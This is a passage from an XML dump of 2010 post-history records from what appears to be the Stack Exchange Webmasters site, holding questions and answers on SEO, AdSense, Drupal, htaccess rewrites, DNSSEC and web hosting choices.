blogspot 			&#xD;&#xA;&#xD;&#xA;10.	fashion 			&#xD;&#xA;&#xD;&#xA;11.	car (2 variants)			&#xD;&#xA;&#xD;&#xA;12.	cute 			&#xD;&#xA;&#xD;&#xA;13.	photo (2 variants)			&#xD;&#xA;&#xD;&#xA;14.	funny 			&#xD;&#xA;&#xD;&#xA;15.	google 			&#xD;&#xA;&#xD;&#xA;16.	share 			&#xD;&#xA;&#xD;&#xA;17.	india (2 variants)			&#xD;&#xA;&#xD;&#xA;18.	beauty 			&#xD;&#xA;&#xD;&#xA;19.	photograph (2 variants)			&#xD;&#xA;&#xD;&#xA;20.	beautiful 		&#xD;&#xA;&#xD;&#xA;21.	wallpaper (2 variants)			&#xD;&#xA;&#xD;&#xA;22.	picture (2 variants)			&#xD;&#xA;&#xD;&#xA;23.	concept (2 variants)			&#xD;&#xA;&#xD;&#xA;24.	currency 			&#xD;&#xA;&#xD;&#xA;25.	relationship (2 variants)			&#xD;&#xA;&#xD;&#xA;26.	august 			&#xD;&#xA;&#xD;&#xA;27.	nature 			&#xD;&#xA;&#xD;&#xA;28.	flowers 			&#xD;&#xA;&#xD;&#xA;29.	paris 			&#xD;&#xA;&#xD;&#xA;30.	abstract 			&#xD;&#xA;&#xD;&#xA;31.	chat 			&#xD;&#xA;&#xD;&#xA;32.	email 			&#xD;&#xA;&#xD;&#xA;33.	people 			&#xD;&#xA;&#xD;&#xA;34.	painkiller (2 variants)			&#xD;&#xA;&#xD;&#xA;35.	friends (2 variants)			&#xD;&#xA;&#xD;&#xA;36.	tags 			&#xD;&#xA;&#xD;&#xA;37.	blogthis 			&#xD;&#xA;&#xD;&#xA;38.	buzz 			&#xD;&#xA;&#xD;&#xA;39.	facebook 			&#xD;&#xA;&#xD;&#xA;40.	kids 			&#xD;&#xA;&#xD;&#xA;41.	reactions 			&#xD;&#xA;&#xD;&#xA;42.	twitter 			&#xD;&#xA;&#xD;&#xA;43.	electric 			&#xD;&#xA;&#xD;&#xA;44.	lamborghini 			&#xD;&#xA;&#xD;&#xA;45.	lotus 			&#xD;&#xA;&#xD;&#xA;46.	motor 			&#xD;&#xA;&#xD;&#xA;47.	childrens 			&#xD;&#xA;&#xD;&#xA;48.	trees 			&#xD;&#xA;&#xD;&#xA;49.	eyes 			&#xD;&#xA;&#xD;&#xA;50.	painted 			&#xD;&#xA;&#xD;&#xA;51.	portraits 			&#xD;&#xA;&#xD;&#xA;52.	pain 			&#xD;&#xA;&#xD;&#xA;53.	rupee (2 variants)			&#xD;&#xA;&#xD;&#xA;54.	ancient 			&#xD;&#xA;&#xD;&#xA;55.	autumn 			&#xD;&#xA;&#xD;&#xA;56.	gallery 			&#xD;&#xA;&#xD;&#xA;57.	glow 			&#xD;&#xA;&#xD;&#xA;58.	happy 			&#xD;&#xA;&#xD;&#xA;59.	light 			&#xD;&#xA;&#xD;&#xA;60.	models (2 variants)			&#xD;&#xA;&#xD;&#xA;61.	study (2 variants)			&#xD;&#xA;&#xD;&#xA;62.	symbol 			&#xD;&#xA;&#xD;&#xA;63.	auto 			&#xD;&#xA;&#xD;&#xA;64.	huascaran 			&#xD;&#xA;&#xD;&#xA;65.	jam 			&#xD;&#xA;&#xD;&#xA;66.	leaf 			&#xD;&#xA;&#xD;&#xA;67.	norte 			&#xD;&#xA;&#xD;&#xA;68.	ocean 			&#xD;&#xA;&#xD;&#xA;69.	social (2 variants)			&#xD;&#xA;&#xD;&#xA;70.	super 			&#xD;&#xA;&#xD;&#xA;71.	atom 			&#xD;&#xA;&#xD;&#xA;72.	audi 			&#xD;&#xA;&#xD;&#xA;73.	elemento 			&#xD;&#xA;&#xD;&#xA;74.	elite 			&#xD;&#xA;&#xD;&#xA;75.	pop 			&#xD;&#xA;&#xD;&#xA;76.	sesto 			&#xD;&#xA;&#xD;&#xA;77.	cartoons 			&#xD;&#xA;&#xD;&#xA;78.	dogs 			&#xD;&#xA;&#xD;&#xA;79.	fall 			&#xD;&#xA;&#xD;&#xA;80.	fools 			&#xD;&#xA;&#xD;&#xA;81.	found 			&#xD;&#xA;&#xD;&#xA;82.	mugli 			&#xD;&#xA;&#xD;&#xA;83.	scrap (2 variants)			&#xD;&#xA;&#xD;&#xA;84.	actress 			&#xD;&#xA;&#xD;&#xA;85.	hot 			&#xD;&#xA;&#xD;&#xA;86.	live 			&#xD;&#xA;&#xD;&#xA;87.	pakistan 			" />
  <row Id="9838" PostHistoryTypeId="1" PostId="4970" RevisionGUID="7b59ff06-477f-4d72-b19a-e0fdab2bf9ee" CreationDate="2010-11-04T01:35:49.813" UserId="2042" Text="What am I doing wrong ? Google adsense application got rejected 3 times, reason &quot;Page type&quot;." />
  <row Id="9839" PostHistoryTypeId="3" PostId="4970" RevisionGUID="7b59ff06-477f-4d72-b19a-e0fdab2bf9ee" CreationDate="2010-11-04T01:35:49.813" UserId="2042" Text="&lt;google-adsense&gt;" />
  <row Id="9840" PostHistoryTypeId="2" PostId="4971" RevisionGUID="bd3fa8a4-63fc-4704-8f6f-a161fc442075" CreationDate="2010-11-04T02:07:15.817" UserId="1064" Text="Try the following:&#xD;&#xA;&#xD;&#xA;    list-style-position:inside;&#xD;&#xA;&#xD;&#xA;IE7 is most likely considering the list markers below the z-index of the list items themselves or bounding elements, but if the list markers are inside the list items their display should be forced." />
  <row Id="9841" PostHistoryTypeId="2" PostId="4972" RevisionGUID="ef4594e6-7367-4d4e-955a-783adb133d92" CreationDate="2010-11-04T02:19:15.630" UserId="3001" Text="There isn't an easy way to do this, since configuration is stored in different places for different things (and modules are pretty much free to store their configuration and content how they please).&#xD;&#xA;&#xD;&#xA;I can think of one way to kind of accomplish this:&#xD;&#xA;&#xD;&#xA;Build the functionality of your site with Features.  The Features module is able to track the configuration of many modules (modules you need may or may not work with it) and then give you a diff of the configuration between the one stored in code and what is currently active.  You can then redeploy your site with the original features, and then reimport all the content... I know this sounds messy, but this method might be your best bet if no one else has a different solution.&#xD;&#xA;&#xD;&#xA;As an upside then, you've developed your site with Features so you can implement proper revision management." />
  <row Id="9842" PostHistoryTypeId="2" PostId="4973" RevisionGUID="ebffb6ae-3ae4-4a4d-a1f1-076dbc78a215" CreationDate="2010-11-04T02:39:41.860" UserId="3001" Text="I'm not quite sure what you mean by 'nest,' but it seems like you should be able to accomplish this with some pretty standard modules:&#xD;&#xA;&#xD;&#xA;- Create a vocabulary 'section' with terms of all your sections.  Add this to the node types you need.&#xD;&#xA;- Use pathauto on the node types to assign the path. &#xD;&#xA;- Use [tac_lite][1] to restrict access in sections if necessary.  With this module, you should be able to stop certain users or roles from creating, modifying, or deleting content in specific sections.&#xD;&#xA;- Use views to provide an index page for each section (you might want to add something to the beginning of your paths so you have /sections/[SECTION NAME]/[TITLE] so you can make your view page /sections/, with the next token being a parameter to the view to choose which section).  Optionally, throw in panels to provide this page so you have an easy interface to modify which content gets put in each section (ie. if you'd like some blocks to show in some sections and not others).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://drupal.org/project/tac_lite&#xD;&#xA;" />
  <row Id="9844" PostHistoryTypeId="2" PostId="4975" RevisionGUID="7b2743f4-09ed-4a39-8d61-3bc11ed66d61" CreationDate="2010-11-04T04:27:24.420" UserId="1757" Text="Probably because all you're doing is copy-and-pasting articles from other sites without even citing the source. That's called plagiarism and copyright infringement.&#xD;&#xA;&#xD;&#xA;Try submitting your site when you actually have original content to post. Otherwise it just looks like you're creating a spam blog solely for the purpose of generating adwords revenue without actually providing any value to visitors." />
  <row Id="9850" PostHistoryTypeId="2" PostId="4979" RevisionGUID="d4f60293-0970-4445-81b5-57d8f5166149" CreationDate="2010-11-04T08:01:23.520" UserDisplayName="beytz" Text="I'm relatively new in SEO, and my knowledge is based on forums such as this and some articles I found over the web - but I want to share an interesting fact from my experience.&#xD;&#xA;&#xD;&#xA;I have an ecommerce website that didn't do so good. There is LOTS of sense in the way Google ranks and promotes your website. The Google bots are actually good quite human, if they would like your site then humans would like it. &#xD;&#xA;&#xD;&#xA;The SEO knowledge got me to completely change the design of my website making it a lot more user friendly. Besides for the fact that I do get a lot more traffic (but never enough :) ), the users are actually buying since it is easier to find their way around the site. Before the site was pretty and now it is effective!" />
  <row Id="9851" PostHistoryTypeId="2" PostId="4980" RevisionGUID="edbdd55d-afff-4be2-975f-f7690edfddbd" CreationDate="2010-11-04T08:35:40.823" UserId="2081" Text="As you can see I'm using my real name on every StackExchange site including stackoverflow.com. &#xD;&#xA;&#xD;&#xA;Given an unspecific time period, is it possible for my very own personal blog to compete with any StackExchange Site? I really like my personal blog to be page rank one and don't have to change my name i.e. on Stackoverflow.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/gif3D.jpg" />
  <row Id="9852" PostHistoryTypeId="1" PostId="4980" RevisionGUID="edbdd55d-afff-4be2-975f-f7690edfddbd" CreationDate="2010-11-04T08:35:40.823" UserId="2081" Text="Stackexchange vs Personal Blog - Pagerank Competition " />
  <row Id="9853" PostHistoryTypeId="3" PostId="4980" RevisionGUID="edbdd55d-afff-4be2-975f-f7690edfddbd" CreationDate="2010-11-04T08:35:40.823" UserId="2081" Text="&lt;seo&gt;" />
  <row Id="9854" PostHistoryTypeId="5" PostId="4962" RevisionGUID="1087714c-3bc6-43fe-b587-f4206e140ef4" CreationDate="2010-11-04T08:49:01.083" UserId="706" Comment="added 82 characters in body; added 85 characters in body" Text="What is needed to add DNSSEC to my site?&#xD;&#xA;&#xD;&#xA;Is it like HTTPS/SSL that I have to buy a certificate, or can I generate one myself to use? Is there any free way I can use DNSSEC or do I have to pay for this service? E.g if I set up my own DNS servers, or if there is any free nameservers with DNSSEC.&#xD;&#xA;&#xD;&#xA;If I use my web hosts nameservers, I can buy DNSSEC from them for $9 per year." />
  <row Id="9858" PostHistoryTypeId="5" PostId="3935" RevisionGUID="39548127-2610-4d9a-ac02-9f522f400462" CreationDate="2010-11-04T09:26:30.580" UserId="2480" Comment="deleted 15 characters in body" Text="PayPal works only with 'good' countries. exUSSR countries Arabic and African countries can just pay. https://www.paypal.com/worldwide/&#xD;&#xA;" />
  <row Id="9859" PostHistoryTypeId="2" PostId="4982" RevisionGUID="99109aef-e12b-4c40-b778-87b8b7022787" CreationDate="2010-11-04T09:41:24.300" UserId="1064" Text="Add a link to your personal blog from your user profile - this link will be marked up with the &quot;me&quot; relationship and should contribute to an improved ranking for your personal site when people search for information about you.&#xD;&#xA;&#xD;&#xA;It wouldn't hurt to develop other links to your personal site, as well - consider creating a [Google Profile][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/profiles" />
  <row Id="9860" PostHistoryTypeId="2" PostId="4983" RevisionGUID="2c980d26-fa05-4c6e-bde4-e59790273e1c" CreationDate="2010-11-04T10:13:28.877" UserId="2292" Text="Let's say you have a flash head banner on the page that you are trying to optimize. Let's also assume that you've incorporated an underlying HTML banner for SEO purposes. Now, do you think Google actually &quot;reads&quot; flash content and can penalize you for not using the same content on both headers?" />
  <row Id="9861" PostHistoryTypeId="1" PostId="4983" RevisionGUID="2c980d26-fa05-4c6e-bde4-e59790273e1c" CreationDate="2010-11-04T10:13:28.877" UserId="2292" Text="Do Flash head banner texts need to coincide with the text on the underlying HTML banner?" />
  <row Id="9862" PostHistoryTypeId="3" PostId="4983" RevisionGUID="2c980d26-fa05-4c6e-bde4-e59790273e1c" CreationDate="2010-11-04T10:13:28.877" UserId="2292" Text="&lt;seo&gt;&lt;google&gt;&lt;html&gt;&lt;flash&gt;" />
  <row Id="9863" PostHistoryTypeId="2" PostId="4984" RevisionGUID="3dad2cf0-e17c-4047-baa2-e3db3cf42601" CreationDate="2010-11-04T10:24:42.640" UserId="2293" Text="Despite &quot;Google can read&quot; flash content, it reads everything from flash as plain text, I mean, you can't count with semantic features and the weight they brings as HTML do, like H1, H2, strong....&#xD;&#xA;&#xD;&#xA;So, if you are really serious about optimizing give up on flash. If you really can't drop flash, use same text, with correct markup on proper elements. Also make sure you put the header content as an alternative making use of a noscript tag." />
  <row Id="9864" PostHistoryTypeId="10" PostId="4961" RevisionGUID="7c83c7e9-100a-4e73-88e9-e429a35af8a3" CreationDate="2010-11-04T10:46:53.000" UserId="-1" CloseReasonId="4" Text="[{&quot;Id&quot;:745,&quot;DisplayName&quot;:&quot;Virtuosi Media&quot;},{&quot;Id&quot;:180,&quot;DisplayName&quot;:&quot;JasonBirch&quot;}]" />
  <row Id="9868" PostHistoryTypeId="2" PostId="4985" RevisionGUID="f20597a5-a369-4f67-bbf3-481124024ca3" CreationDate="2010-10-27T22:15:46.207" UserDisplayName="sylpheed" Text="currently in order to access statistics on my site I access this link:&#xD;&#xA;&#xD;&#xA;www.mysite.org/awstats/awstats.pl?config=awstatsconffile.org&#xD;&#xA;&#xD;&#xA;all is working fine, but what I want to achieve is simply this:&#xD;&#xA;&#xD;&#xA;www.mysite.org/stats/&#xD;&#xA;&#xD;&#xA;I've created the &quot;sites&quot; directory and inside I've created the .htaccess file but without success.&#xD;&#xA;&#xD;&#xA;Any idea?" />
  <row Id="9869" PostHistoryTypeId="1" PostId="4985" RevisionGUID="f20597a5-a369-4f67-bbf3-481124024ca3" CreationDate="2010-10-27T22:15:46.207" UserDisplayName="sylpheed" Text="How to hide awstats url parameters" />
  <row Id="9870" PostHistoryTypeId="3" PostId="4985" RevisionGUID="f20597a5-a369-4f67-bbf3-481124024ca3" CreationDate="2010-10-27T22:15:46.207" UserDisplayName="sylpheed" Text="&lt;apache&gt;&lt;htaccess&gt;&lt;virtualhost&gt;&lt;httpd.conf&gt;&lt;awstats&gt;" />
  <row Id="9871" PostHistoryTypeId="17" PostId="4985" RevisionGUID="d2b4e718-9999-46c8-8940-6a62a5858d7e" CreationDate="2010-11-04T11:15:06.543" UserId="-1" Comment="from http://stackoverflow.com/questions/4038166/how-to-hide-awstats-url-parameters" Text="" />
  <row Id="9872" PostHistoryTypeId="5" PostId="4903" RevisionGUID="2c6786a3-5c21-4266-a4ea-8136cdea7a29" CreationDate="2010-11-04T11:25:05.010" UserId="233" Comment="added 11 characters in body" Text="This is a very subjective question, but the three most popular forum apps are:&#xD;&#xA;&#xD;&#xA;* [phpBB][1]&#xD;&#xA;* [vBulletin][2] (not free)&#xD;&#xA;* [SMF][3]&#xD;&#xA;&#xD;&#xA;I have also heard good things about [bbPress][4], which is forum software based on the Wordpress core.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.phpbb.com/&#xD;&#xA;  [2]: http://www.vbulletin.com/&#xD;&#xA;  [3]: http://www.simplemachines.org/&#xD;&#xA;  [4]: http://bbpress.org/" />
  <row Id="9873" PostHistoryTypeId="2" PostId="4986" RevisionGUID="2a35e569-c978-4170-b066-640bbaf77054" CreationDate="2010-11-04T11:29:48.813" UserId="2730" Text="And when you have a certain rank, the link in your profile to your blog will no longer be marked as nofollow." />
  <row Id="9874" PostHistoryTypeId="2" PostId="4987" RevisionGUID="1576c688-e8dc-4eed-91d6-c15580a30e15" CreationDate="2010-11-04T11:33:45.460" UserId="2730" Text="You can also use the rel=canonical tag to suggest to google the proper URL for their index." />
  <row Id="9882" PostHistoryTypeId="2" PostId="4991" RevisionGUID="33758def-af43-4a39-954e-3c37cd97e8ec" CreationDate="2010-11-04T11:45:50.767" UserId="1953" Text="Profile pages in themselves don't tend to carry much weight so you should be able to outrank them all with your personal blog pretty quickly. I looked through the first few pages of results and only saw profile listings. Beyond linking all of these profiles to your blog and getting other links you may want to look at the content of your blog, often using your name as the domain gives you an exact match domain which will help you rank, but you'll also want to make sure there is content using your name on the site so the search engines will know it's about you. (This sounds like common sense but you'd be surprised how many people have sites about themselves and never use their name once in the content)." />
  <row Id="9883" PostHistoryTypeId="2" PostId="4992" RevisionGUID="489c595d-8f62-4480-8635-710764f62dd6" CreationDate="2010-11-04T11:46:37.240" UserId="2293" Text="I think you can solve this with mod_rewrite.&#xD;&#xA;&#xD;&#xA;Inside your root directory (generally public_html), place a .htaccess file with the following content:&#xD;&#xA;&#xD;&#xA;    # Turn on URL rewriting&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    &#xD;&#xA;    # Installation directory&#xD;&#xA;    RewriteBase /&#xD;&#xA;    &#xD;&#xA;    #Redirecting&#xD;&#xA;    RewriteCond %{REQUEST_URI} ^www\.mysite\.org\/stats\/$ [NC]&#xD;&#xA;    RewriteRule (.*) www\.mysite\.org\/awstats\/awstats\.pl\?config=awstatsconffile\.org - [L]&#xD;&#xA;&#xD;&#xA;I'm not good at regex, so you may need to escape/unescape some characters, but that's the way." />
  <row Id="9888" PostHistoryTypeId="2" PostId="4993" RevisionGUID="30e98b43-f84b-4dce-b017-bfe305369fcf" CreationDate="2010-11-04T11:58:53.533" UserId="1953" Text="Redirecting to remove the slash is in my opinion the best option, when people link to your site they do it one of two ways, they type out the URL manually in which case they are unlikely to include the trailing slash or they copy and paste in which case the trailing slash would be included, so if you leave the trailing slash up you're likely splitting your links between two URLs (It seems like Google would be sophisticated enough to recognize the two pages are the same, but it's an easy fix so better to be safe then sorry).&#xD;&#xA;&#xD;&#xA;If you can't get access to your .htaccess file or redirect these another way then you can use the canonical tag, but it should really be a last resort as it's always better to get your code right then it is to cover it with band-aids." />
  <row Id="9890" PostHistoryTypeId="2" PostId="4994" RevisionGUID="0d2b1afc-5c5a-4d77-82ca-fbcd44979430" CreationDate="2010-11-04T12:00:12.340" UserId="1253" Text="My personal site outranks every other profile I have on the Web including SO. So the answer to your question is yes." />
  <row Id="9892" PostHistoryTypeId="5" PostId="4965" RevisionGUID="78081e1e-ae60-4fe2-86da-bf2b2a86db8b" CreationDate="2010-11-04T12:03:52.477" UserId="2293" Comment="added 576 characters in body" Text="Hello good guitar songs lover (yeah, Django Reinhardt rocks).&#xD;&#xA;&#xD;&#xA;I don't think you can implement that gallery directly on blogspot. I have 4 blogs (don't ask me why so much) on blogspot, and I've never found such feature but I got an idea.&#xD;&#xA;&#xD;&#xA;Your friend can use flickr to make his galleries, and then [use its galleries feature][1] to embed into blogspot.&#xD;&#xA;&#xD;&#xA;The problem is the limit to galleries. Only 18 pics per gallery can be added. You can [search an app][2] to do that though.&#xD;&#xA;&#xD;&#xA;There are other possibilities on flickr also that you can explore and check if fits, like sets, collections, mosaics... I really think it worth a try.&#xD;&#xA;&#xD;&#xA;**EDIT**&#xD;&#xA;&#xD;&#xA;First you need to create a gallery as indicated on the link I passed, OR create a set (it is really easy). Then go viewing the created gallery or set.&#xD;&#xA;&#xD;&#xA;Galleries will have a &quot;Grab the embed HTML&quot; box. Just copy that HTML and post it in blog post body. Done.&#xD;&#xA;&#xD;&#xA;For sets, you have the option to see a slideshow. On upper right corner you will see a box with the same option &quot;Grab the embed HTML&quot;. Repeat the process to embed a slideshow into blog post. This option also can be used with galleries, tags, and any kind of organizing options available from flickr.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.flickr.com/help/galleries/&#xD;&#xA;  [2]: http://www.flickr.com/services/" />
  <row Id="9894" PostHistoryTypeId="2" PostId="4996" RevisionGUID="1c281418-338c-48f1-8c7f-d0a9dd6d3d77" CreationDate="2010-11-04T12:13:36.803" UserId="2288" Text="What I'm looking for: Super simply, basic intro to using Google Analytics target to non-technical end users.&#xD;&#xA;&#xD;&#xA;**NOTE:** This is a subset of this question,&#xD;&#xA;&#xD;&#xA;[Need a non-technical end user Drupal 6 Admin manual, suggestions?][1]&#xD;&#xA;&#xD;&#xA;but figure it's general enough to be it's own question.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/4988/need-a-non-technical-end-user-drupal-6-admin-manual-suggestions" />
  <row Id="9895" PostHistoryTypeId="1" PostId="4996" RevisionGUID="1c281418-338c-48f1-8c7f-d0a9dd6d3d77" CreationDate="2010-11-04T12:13:36.803" UserId="2288" Text="Need a non-technical end user Google Analytics guide, suggestions?" />
  <row Id="9896" PostHistoryTypeId="3" PostId="4996" RevisionGUID="1c281418-338c-48f1-8c7f-d0a9dd6d3d77" CreationDate="2010-11-04T12:13:36.803" UserId="2288" Text="&lt;google-analytics&gt;&lt;guide&gt;" />
  <row Id="9899" PostHistoryTypeId="2" PostId="4997" RevisionGUID="5d953869-5e94-4e46-a163-6a9db69fcf3c" CreationDate="2010-11-04T12:35:08.207" UserId="1300" Text="URLs without the slash are treated as different to URLs with the slash, so in SEO terms, whatever you do, be consistent.&#xD;&#xA;&#xD;&#xA;Should you have a slash or not? Of course you should, particularly when dealing with sub-folders.&#xD;&#xA;&#xD;&#xA;When requesting http://example.com/foo, the server will first have to look for a resource call foo; when it doesn't find it, it will usually then look for a directory called foo, and if it finds it, it will return the default document.&#xD;&#xA;&#xD;&#xA;When requesting http://example.com/foo/, the server knows straight away that foo is a directory, and therefore zeroes in on the default document for that folder.&#xD;&#xA;&#xD;&#xA;It's a minor efficiency, but every little helps, IMHO.&#xD;&#xA;&#xD;&#xA;See:&#xD;&#xA;&#xD;&#xA;- http://www.alistapart.com/articles/slashforward/&#xD;&#xA;- http://www.davidroessli.com/logs/2007/06/watch_that_trailing_slash/&#xD;&#xA;- http://sebastians-pamphlets.com/thou-must-not-steal-the-trailing-slash-from-my-urls/" />
  <row Id="9900" PostHistoryTypeId="2" PostId="4999" RevisionGUID="37963bb2-39cc-4cae-902c-d8eeda306cfc" CreationDate="2010-11-03T09:55:36.900" UserDisplayName="moontear" Text="The answer is within this post:&#xD;&#xA;http://forum.joomlaworks.gr/tutorials-by-joomlaworks-and-other-expert-users/give-joomla-backend-managers-access-to-any-component!-control-who-has-access!/&#xD;&#xA;&#xD;&#xA;It includes modifying the `includes/gacl.class.php` file, where all access rights sit." />
  <row Id="9901" PostHistoryTypeId="2" PostId="4998" RevisionGUID="2bfbeb9f-9ba2-45eb-a109-8c83956c2551" CreationDate="2010-11-03T09:49:06.553" UserDisplayName="Rupali" Text="I want give access only one component to the back end manager users? it is possible?if yes please tell me how can?" />
  <row Id="9902" PostHistoryTypeId="1" PostId="4998" RevisionGUID="2bfbeb9f-9ba2-45eb-a109-8c83956c2551" CreationDate="2010-11-03T09:49:06.553" UserDisplayName="Rupali" Text="want give access only one component backend manager users?" />
  <row Id="9903" PostHistoryTypeId="3" PostId="4998" RevisionGUID="2bfbeb9f-9ba2-45eb-a109-8c83956c2551" CreationDate="2010-11-03T09:49:06.553" UserDisplayName="Rupali" Text="&lt;php&gt;&lt;joomla&gt;" />
  <row Id="9904" PostHistoryTypeId="17" PostId="4998" RevisionGUID="3398ff0f-e9f8-4065-8d5c-bf96998cb5ab" CreationDate="2010-11-04T12:35:19.903" UserId="-1" Comment="from http://stackoverflow.com/questions/4085782/want-give-access-only-one-component-backend-manager-users" Text="" />
  <row Id="9905" PostHistoryTypeId="2" PostId="5000" RevisionGUID="a4b648f9-92db-4bce-8cd2-34f42cf81697" CreationDate="2010-11-04T12:55:42.770" UserId="1953" Text="Here's the Google Conversion University playlist on youtube. It has a wide range of videos with an intro to Google Analytics and info on using the data to make good decisions. &#xD;&#xA;http://www.youtube.com/view_play_list?p=7A545E796C2CFA72&#xD;&#xA;&#xD;&#xA;You may also want to check out http://www.kaushik.net/avinash/" />
  <row Id="9906" PostHistoryTypeId="2" PostId="5002" RevisionGUID="36bc63c7-89c9-4950-be86-896a00fd8087" CreationDate="2010-11-04T12:45:20.023" UserDisplayName="m1k3y02" Text="if your needs are no that great check out http://www.lowendbox.com/ they have a good selection,&#xD;&#xA;  &#xD;&#xA;also if you consider cloud hosting check http://www.rackspacecloud.com/ their prices starts at $10/mo + data transfer&#xD;&#xA;" />
  <row Id="9907" PostHistoryTypeId="2" PostId="5003" RevisionGUID="f8060344-22c1-4fdf-ab9c-e29e30e6f8fa" CreationDate="2010-11-04T12:48:43.127" UserDisplayName="T.E.D." Text="Not only does this have nothing to do with programming, but it appears to be mostly a slap at a particular company, thinly disguised as a question. If it is a serious question, I'd suggest calming down a bit, then posting a cleaned up version on a more appropriate stackexchange website like perhaps [Ask About Domains][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.askaboutdomains.com/" />
  <row Id="9908" PostHistoryTypeId="2" PostId="5004" RevisionGUID="1ccc3489-9076-49d3-a855-275cfe09fa3d" CreationDate="2010-11-04T12:54:19.823" UserDisplayName="kmarks2" Text="I've had a lot of luck with InMotionHosting in the past.  It's my understanding people have had problems, but I never have.  The very few times I needed to talk to support, it seems like I was always able to get through to a support guy in America within a few minutes.  They also have data centers on both coasts which is nice.&#xD;&#xA;&#xD;&#xA;A high power dedicated isn't cheap, though.  Can't remember the exact amount but I think it's &gt;150 dollars, although they might have gone up recently.  Also I'm pretty sure they only have linux boxes (who uses Windows for servers, really?)." />
  <row Id="9909" PostHistoryTypeId="2" PostId="5001" RevisionGUID="b197aa11-1aac-469c-89a5-6e6b16224cc5" CreationDate="2010-11-04T12:37:55.750" UserDisplayName="santa" Text="I am looking to dump GoDaddy, the company I was with for the last 5 years or so. Yesterday my dedicated server went down for at least 5 hours. I was not impressed with the support I received and at the end they informed me that my hard-drive is probably about to die and that I needed to move. They want me do do it on my own or charge me for their support, even though, as I pointed out to them, that they sold me a lemon and I am only half-year half through my lease term. Instead I am looking for a new provider, that will send less promotional emails and will provide a better support. My current needs are not that great but I do need a dedicated server.&#xD;&#xA;&#xD;&#xA;Any suggestions?" />
  <row Id="9910" PostHistoryTypeId="1" PostId="5001" RevisionGUID="b197aa11-1aac-469c-89a5-6e6b16224cc5" CreationDate="2010-11-04T12:37:55.750" UserDisplayName="santa" Text="Looking for a reliable and inexpensive dedicated server host" />
  <row Id="9911" PostHistoryTypeId="3" PostId="5001" RevisionGUID="b197aa11-1aac-469c-89a5-6e6b16224cc5" CreationDate="2010-11-04T12:37:55.750" UserDisplayName="santa" Text="&lt;web-hosting&gt;&lt;godaddy&gt;&lt;dedicated-hosting&gt;" />
  <row Id="9912" PostHistoryTypeId="17" PostId="5001" RevisionGUID="2bc7699d-acb5-4fd9-921f-e0eec76a6e8d" CreationDate="2010-11-04T13:17:57.413" UserId="-1" Comment="from http://stackoverflow.com/questions/4096693/looking-for-a-reliable-and-inexpensive-dedicated-server-host" Text="" />
  <row Id="9913" PostHistoryTypeId="2" PostId="5005" RevisionGUID="0342257b-f73b-4880-878b-13ed8153c61b" CreationDate="2010-11-04T13:26:26.870" UserId="1253" Text="Without knowing your exact needs I would recommend [Hostgator][1]. I've set up multiple dedicated servers through them and have never been unhappy. Their support is great. They'll even help you migrate your website(s) over to the new server free of charge. There is no contract length either. If you don't like them you can leave at any time.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.hostgator.com/" />
  <row Id="9914" PostHistoryTypeId="2" PostId="5006" RevisionGUID="a352e7d0-0131-427d-b1ff-a6b211587caf" CreationDate="2010-11-04T13:29:23.077" UserId="2333" Text="I've got [Drupal 6][1] setup. I have LDAP authentication, groups and data working against Active Directory.&#xD;&#xA;&#xD;&#xA;What I want... is since I'm on an intranet where users are logged in via user-names... is for automatic authentication, without the need to login via the website.&#xD;&#xA;&#xD;&#xA;If it's more difficult than its worth, it's no major hassle, but I'd like to know if it's possible that when my users visit our intranet they auto-magically authenticate with their already logged in Windows session.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/4583/building-an-intranet" />
  <row Id="9915" PostHistoryTypeId="1" PostId="5006" RevisionGUID="a352e7d0-0131-427d-b1ff-a6b211587caf" CreationDate="2010-11-04T13:29:23.077" UserId="2333" Text="Drupal + LDAP + Automatic" />
  <row Id="9916" PostHistoryTypeId="3" PostId="5006" RevisionGUID="a352e7d0-0131-427d-b1ff-a6b211587caf" CreationDate="2010-11-04T13:29:23.077" UserId="2333" Text="&lt;drupal&gt;&lt;authentication&gt;&lt;ldap&gt;&lt;automation&gt;" />
  <row Id="9917" PostHistoryTypeId="5" PostId="4996" RevisionGUID="4c8b9742-6f4b-4dfa-aac8-371c0389366d" CreationDate="2010-11-04T13:32:12.413" UserId="2288" Comment="added 334 characters in body" Text="What I'm looking for: Super simply, basic intro to using Google Analytics target to non-technical end users.&#xD;&#xA;&#xD;&#xA;**UPDATE:** @Joshak: +1 Thanks, though I'm not really looking analytic management how to guides. Really looking for a super simple guide: login, view default reports, logout; possible I'm making it to simple though. Not even really expecting the client to even use it, but it's easy to setup and feature rich. – blunders&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;**NOTE:** This is a subset of this question,&#xD;&#xA;&#xD;&#xA;[Need a non-technical end user Drupal 6 Admin manual, suggestions?][1]&#xD;&#xA;&#xD;&#xA;but figure it's general enough to be it's own question.&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/4988/need-a-non-technical-end-user-drupal-6-admin-manual-suggestions" />
  <row Id="9918" PostHistoryTypeId="5" PostId="4911" RevisionGUID="b3ce511a-09ac-4ba5-8341-7bd47fd8dab1" CreationDate="2010-11-04T13:34:35.193" UserId="233" Comment="embiggened the cromulent last sentence" Text="Perhaps indirectly SEO can improve a website. It encourages you to think about quality content, good navigation and site usability.&#xD;&#xA;&#xD;&#xA;But no, SEO itself does not make a website good or bad at all. In other words, **good SEO is a side-effect of a good website**." />
